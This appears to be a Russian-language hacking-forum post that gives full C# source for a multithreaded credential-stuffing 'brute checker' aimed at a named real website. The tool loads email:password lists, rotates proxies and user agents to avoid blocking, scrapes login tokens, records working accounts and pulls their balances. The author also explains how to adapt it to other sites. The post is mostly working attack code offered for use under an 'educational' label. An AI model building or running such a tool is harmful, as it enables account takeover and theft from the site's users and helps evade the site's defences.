Man
Professional
- Messages
- 3,106
- Reaction score
- 666
- Points
- 113
Почему именно c# net core а не Python? На вкус и цвет товарищей нет. Но мне привычнее имено c# так как можно сделать красивый визуал программы через c# WinForm или c# WPF
Во всем коде я сделал комментарии чтобы было более понятно.
Для примера напишем брут чекер на рандомный сайт https://smmbro.su/ не реклама
Писать будем на c# net core.
Первым делом установим необходимые библиотеки через NuGet
1. HtmlAgilityPack- Для парса токенов баланса и т.д
2. System.Net.Http для HTTP запросов (Авторизация и т.д) (Не обязательно устанавливать если пользуетесь VisualStudio то должен подтянуться сам)
3. System.Threading Много поточность (Не обязательно устанавливать если пользуетесь VisualStudio то должен подтянуться сам)
Далее читаем файлы и запускаем в работу некоторые функции в static async Task Main(string[] args)
Добавляем несколько UserAgent для более корректной работы. и вызываем их рандомно для каждого действия авторизации.
Теперь парсим страницу входа для получения токенов (Токены это дополнительныя защита от сайта: Парсим HTML-код, чтобы найти токен
После чего: Подготавливаем данные для отправки формы.
В случае если успешный вход: Парсим HTML-код для проверки баланса
И сохраняем данные.
В коде так же есть проверка прокси на валид конкретно для данного сайта. Эту функцию можете удалить либо изменить строчку 188 на свои данные string testUrl = "https://smmbro.su/"; // Тестовый URL для проверки прокси
В строчке 45 устанавливаем количество потоков.
Программа проверяет сколько строчек аккаунтов в файле LoginPass.txt и если менее 100 строчек то запускает столько потоков сколько строчек. Если более 100 строчек запускает работу в 100 потоков. Можете поставить свое значение.
В строчке 135 устанавливаем задержку перед парсом. Так как не всегда страница успевает прогрузиться во время. Можно уменьшить до 2х секунд
Данную программу писал на заказ. Но за нее не заплатили. Поэтому пусть будет образовательный материал.
Подведем итог. В большинстве случаев авторизация будет такая же как в примере. Единственное вам прийдется спарсить токен заново это меняется в строчке
Для парса баланса изменить строчку 153
Во всем коде я сделал комментарии чтобы было более понятно.
Для примера напишем брут чекер на рандомный сайт https://smmbro.su/ не реклама
Писать будем на c# net core.
Первым делом установим необходимые библиотеки через NuGet
1. HtmlAgilityPack- Для парса токенов баланса и т.д
2. System.Net.Http для HTTP запросов (Авторизация и т.д) (Не обязательно устанавливать если пользуетесь VisualStudio то должен подтянуться сам)
3. System.Threading Много поточность (Не обязательно устанавливать если пользуетесь VisualStudio то должен подтянуться сам)
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using HtmlAgilityPack;
Далее читаем файлы и запускаем в работу некоторые функции в static async Task Main(string[] args)
C#:
static async Task Main(string[] args)
{
string loginUrl = "https://smmbro.su/login";
string loginPassFilePath = "LoginPass.txt";
string proxyFilePath = "Proxy.txt";
// Чтение данных из файлов
string[] loginPassLines = File.ReadAllLines(loginPassFilePath);
string[] proxyLines = File.ReadAllLines(proxyFilePath);
Console.WriteLine($"Загружено строк из файла LoginPass.txt: {loginPassLines.Length}");
Console.WriteLine($"Загружено строк из файла Proxy.txt: {proxyLines.Length}");
// Проверка прокси на валидность
List<string> validProxies = await ValidateProxiesAsync(proxyLines);
Console.WriteLine($"Валидных прокси: {validProxies.Count}");
if (validProxies.Count == 0)
{
Console.WriteLine("Нет валидных прокси. Программа завершена.");
return;
}
// Обновляем файл Proxy.txt, оставляя только валидные прокси
File.WriteAllLines(proxyFilePath, validProxies);
int successCount = 0;
int failCount = 0;
// Определяем количество параллельных задач
int maxDegreeOfParallelism = Math.Min(loginPassLines.Length, 100);
SemaphoreSlim semaphore = new SemaphoreSlim(maxDegreeOfParallelism);
List<Task> tasks = new List<Task>();
foreach (string line in loginPassLines)
{
string[] parts = line.Split(':');
if (parts.Length != 2)
{
Console.WriteLine($"Неверный формат строки: {line}");
continue;
}
string email = parts[0];
string password = parts[1];
tasks.Add(Task.Run(async () =>
{
await semaphore.WaitAsync();
try
{
bool success = await TryLogin(email, password, loginUrl, validProxies);
if (success)
{
Interlocked.Increment(ref successCount);
File.AppendAllText("Good.txt", $"{email}:{password}\n");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"{email}:{password} Баланс - {GetBalance(email, password, loginUrl, validProxies)}");
Console.ResetColor();
}
else
{
Interlocked.Increment(ref failCount);
File.AppendAllText("Bad.txt", $"{email}:{password}\n");
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"{email}:{password} Не удалось войти.");
Console.ResetColor();
}
}
catch (Exception ex)
{
Console.WriteLine($"Ошибка при обработке {email}:{password}: {ex.Message}");
}
finally
{
semaphore.Release();
}
}));
}
Добавляем несколько UserAgent для более корректной работы. и вызываем их рандомно для каждого действия авторизации.
C#:
static string GetRandomUserAgent()
{
var userAgents = new List<string>
{
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.77 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/89.0"
};
Random random = new Random();
return userAgents[random.Next(userAgents.Count)];
}
Теперь парсим страницу входа для получения токенов (Токены это дополнительныя защита от сайта: Парсим HTML-код, чтобы найти токен
После чего: Подготавливаем данные для отправки формы.
В случае если успешный вход: Парсим HTML-код для проверки баланса
И сохраняем данные.
В коде так же есть проверка прокси на валид конкретно для данного сайта. Эту функцию можете удалить либо изменить строчку 188 на свои данные string testUrl = "https://smmbro.su/"; // Тестовый URL для проверки прокси
C#:
static string GetBalance(string email, string password, string loginUrl, List<string> validProxies)
{
using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
{
// Выбираем случайный User-Agent
Random random = new Random();
string userAgent = GetRandomUserAgent();
client.DefaultRequestHeaders.Add("User-Agent", userAgent);
// Получаем страницу с формой входа
try
{
var response = client.GetAsync(loginUrl).Result;
var content = response.Content.ReadAsStringAsync().Result;
// Парсим HTML-код, чтобы найти токен
var htmlDocument = new HtmlDocument();
htmlDocument.LoadHtml(content);
var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
if (tokenElement == null)
{
return "Баланс не найден.";
}
string token = tokenElement.GetAttributeValue("value", "");
// Подготавливаем данные для отправки формы
string formData = $"_token={token}&email={email}&password={password}";
// Отправляем POST-запрос для авторизации
var loginResponse = client.PostAsync(loginUrl, new StringContent(formData, Encoding.UTF8, "application/x-www-form-urlencoded")).Result;
var loginContent = loginResponse.Content.ReadAsStringAsync().Result;
// Парсим HTML-код для проверки баланса
var balanceDocument = new HtmlDocument();
balanceDocument.LoadHtml(loginContent);
var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
if (balanceElement != null)
{
return balanceElement.InnerText.Trim();
}
else
{
return "Баланс не найден.";
}
}
catch (HttpRequestException)
{
return "Баланс не найден.";
}
catch (Exception)
{
return "Баланс не найден.";
}
}
}
В строчке 45 устанавливаем количество потоков.
Программа проверяет сколько строчек аккаунтов в файле LoginPass.txt и если менее 100 строчек то запускает столько потоков сколько строчек. Если более 100 строчек запускает работу в 100 потоков. Можете поставить свое значение.
Code:
int maxDegreeOfParallelism = Math.Min(loginPassLines.Length, 100);
В строчке 135 устанавливаем задержку перед парсом. Так как не всегда страница успевает прогрузиться во время. Можно уменьшить до 2х секунд
Code:
cts.CancelAfter(TimeSpan.FromSeconds(10));
Данную программу писал на заказ. Но за нее не заплатили. Поэтому пусть будет образовательный материал.
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using HtmlAgilityPack;
class Program
{
static async Task Main(string[] args)
{
string loginUrl = "https://smmbro.su/login";
string loginPassFilePath = "LoginPass.txt";
string proxyFilePath = "Proxy.txt";
// Чтение данных из файлов
string[] loginPassLines = File.ReadAllLines(loginPassFilePath);
string[] proxyLines = File.ReadAllLines(proxyFilePath);
Console.WriteLine($"Загружено строк из файла LoginPass.txt: {loginPassLines.Length}");
Console.WriteLine($"Загружено строк из файла Proxy.txt: {proxyLines.Length}");
// Проверка прокси на валидность
List<string> validProxies = await ValidateProxiesAsync(proxyLines);
Console.WriteLine($"Валидных прокси: {validProxies.Count}");
if (validProxies.Count == 0)
{
Console.WriteLine("Нет валидных прокси. Программа завершена.");
return;
}
// Обновляем файл Proxy.txt, оставляя только валидные прокси
File.WriteAllLines(proxyFilePath, validProxies);
int successCount = 0;
int failCount = 0;
// Определяем количество параллельных задач
int maxDegreeOfParallelism = Math.Min(loginPassLines.Length, 100);
SemaphoreSlim semaphore = new SemaphoreSlim(maxDegreeOfParallelism);
List<Task> tasks = new List<Task>();
foreach (string line in loginPassLines)
{
string[] parts = line.Split(':');
if (parts.Length != 2)
{
Console.WriteLine($"Неверный формат строки: {line}");
continue;
}
string email = parts[0];
string password = parts[1];
tasks.Add(Task.Run(async () =>
{
await semaphore.WaitAsync();
try
{
bool success = await TryLogin(email, password, loginUrl, validProxies);
if (success)
{
Interlocked.Increment(ref successCount);
File.AppendAllText("Good.txt", $"{email}:{password}\n");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"{email}:{password} Баланс - {GetBalance(email, password, loginUrl, validProxies)}");
Console.ResetColor();
}
else
{
Interlocked.Increment(ref failCount);
File.AppendAllText("Bad.txt", $"{email}:{password}\n");
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"{email}:{password} Не удалось войти.");
Console.ResetColor();
}
}
catch (Exception ex)
{
Console.WriteLine($"Ошибка при обработке {email}:{password}: {ex.Message}");
}
finally
{
semaphore.Release();
}
}));
}
await Task.WhenAll(tasks);
Console.WriteLine($"Успешно вошло: {successCount}");
Console.WriteLine($"Не вошло: {failCount}");
}
static async Task<bool> TryLogin(string email, string password, string loginUrl, List<string> validProxies)
{
using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
{
// Выбираем случайный User-Agent
Random random = new Random();
string userAgent = GetRandomUserAgent();
client.DefaultRequestHeaders.Add("User-Agent", userAgent);
// Получаем страницу с формой входа
try
{
var response = await client.GetAsync(loginUrl);
var content = await response.Content.ReadAsStringAsync();
// Парсим HTML-код, чтобы найти токен
var htmlDocument = new HtmlDocument();
htmlDocument.LoadHtml(content);
var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
if (tokenElement == null)
{
return false;
}
string token = tokenElement.GetAttributeValue("value", "");
// Подготавливаем данные для отправки формы
string formData = $"_token={token}&email={email}&password={password}";
// Создаем CancellationTokenSource для ожидания
var cts = new CancellationTokenSource();
cts.CancelAfter(TimeSpan.FromSeconds(10)); // Увеличиваем время ожидания до 10 секунд
try
{
// Отправляем POST-запрос для авторизации
var loginResponse = await client.PostAsync(loginUrl, new StringContent(formData, Encoding.UTF8, "application/x-www-form-urlencoded"), cts.Token);
var loginContent = await loginResponse.Content.ReadAsStringAsync();
// Проверяем успешность авторизации
if (loginResponse.IsSuccessStatusCode)
{
// Добавляем задержку перед проверкой баланса
await Task.Delay(2000); // Задержка в 2 секунды
// Парсим HTML-код для проверки баланса
var balanceDocument = new HtmlDocument();
balanceDocument.LoadHtml(loginContent);
var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
if (balanceElement != null)
{
return true;
}
}
}
catch (OperationCanceledException)
{
return false;
}
catch (HttpRequestException)
{
return false;
}
catch (Exception)
{
return false;
}
}
catch (HttpRequestException)
{
return false;
}
catch (Exception)
{
return false;
}
return false;
}
}
static async Task<List<string>> ValidateProxiesAsync(string[] proxyLines)
{
string testUrl = "https://smmbro.su/"; // Тестовый URL для проверки прокси
List<string> validProxies = new List<string>();
// Определяем количество параллельных задач
int maxDegreeOfParallelism = Math.Min(proxyLines.Length, 100);
SemaphoreSlim semaphore = new SemaphoreSlim(maxDegreeOfParallelism);
List<Task> tasks = new List<Task>();
foreach (string proxyLine in proxyLines)
{
tasks.Add(Task.Run(async () =>
{
await semaphore.WaitAsync();
try
{
if (await IsProxyValid(proxyLine, testUrl))
{
validProxies.Add(proxyLine);
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"Прокси {proxyLine} валиден.");
Console.ResetColor();
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"Прокси {proxyLine} невалиден.");
Console.ResetColor();
}
}
catch (HttpRequestException)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"Прокси {proxyLine} невалиден.");
Console.ResetColor();
}
catch (Exception)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"Прокси {proxyLine} невалиден.");
Console.ResetColor();
}
finally
{
semaphore.Release();
}
}));
}
await Task.WhenAll(tasks);
return validProxies;
}
static async Task<bool> IsProxyValid(string proxyLine, string testUrl)
{
string[] proxyParts = proxyLine.Split(':');
if (proxyParts.Length != 2)
{
return false;
}
string proxyIp = proxyParts[0];
int proxyPort = int.Parse(proxyParts[1]);
try
{
using (var client = new HttpClient(CreateHandlerWithProxy(new List<string> { proxyLine })))
{
var response = await client.GetAsync(testUrl);
return response.IsSuccessStatusCode;
}
}
catch (HttpRequestException)
{
return false;
}
catch (Exception)
{
return false;
}
}
static HttpClientHandler CreateHandlerWithProxy(List<string> validProxies)
{
Random random = new Random();
string proxyLine = validProxies[random.Next(validProxies.Count)];
string[] proxyParts = proxyLine.Split(':');
if (proxyParts.Length != 2)
{
throw new ArgumentException($"Invalid proxy format: {proxyLine}");
}
string proxyIp = proxyParts[0];
int proxyPort = int.Parse(proxyParts[1]);
var handler = new HttpClientHandler
{
Proxy = new WebProxy(new Uri($"http://{proxyIp}:{proxyPort}")),
UseProxy = true
};
return handler;
}
static string GetRandomUserAgent()
{
var userAgents = new List<string>
{
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.77 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/89.0"
};
Random random = new Random();
return userAgents[random.Next(userAgents.Count)];
}
static string GetBalance(string email, string password, string loginUrl, List<string> validProxies)
{
using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
{
// Выбираем случайный User-Agent
Random random = new Random();
string userAgent = GetRandomUserAgent();
client.DefaultRequestHeaders.Add("User-Agent", userAgent);
// Получаем страницу с формой входа
try
{
var response = client.GetAsync(loginUrl).Result;
var content = response.Content.ReadAsStringAsync().Result;
// Парсим HTML-код, чтобы найти токен
var htmlDocument = new HtmlDocument();
htmlDocument.LoadHtml(content);
var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
if (tokenElement == null)
{
return "Баланс не найден.";
}
string token = tokenElement.GetAttributeValue("value", "");
// Подготавливаем данные для отправки формы
string formData = $"_token={token}&email={email}&password={password}";
// Отправляем POST-запрос для авторизации
var loginResponse = client.PostAsync(loginUrl, new StringContent(formData, Encoding.UTF8, "application/x-www-form-urlencoded")).Result;
var loginContent = loginResponse.Content.ReadAsStringAsync().Result;
// Парсим HTML-код для проверки баланса
var balanceDocument = new HtmlDocument();
balanceDocument.LoadHtml(loginContent);
var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
if (balanceElement != null)
{
return balanceElement.InnerText.Trim();
}
else
{
return "Баланс не найден.";
}
}
catch (HttpRequestException)
{
return "Баланс не найден.";
}
catch (Exception)
{
return "Баланс не найден.";
}
}
}
}
Подведем итог. В большинстве случаев авторизация будет такая же как в примере. Единственное вам прийдется спарсить токен заново это меняется в строчке
Code:
var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
Для парса баланса изменить строчку 153
Code:
var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");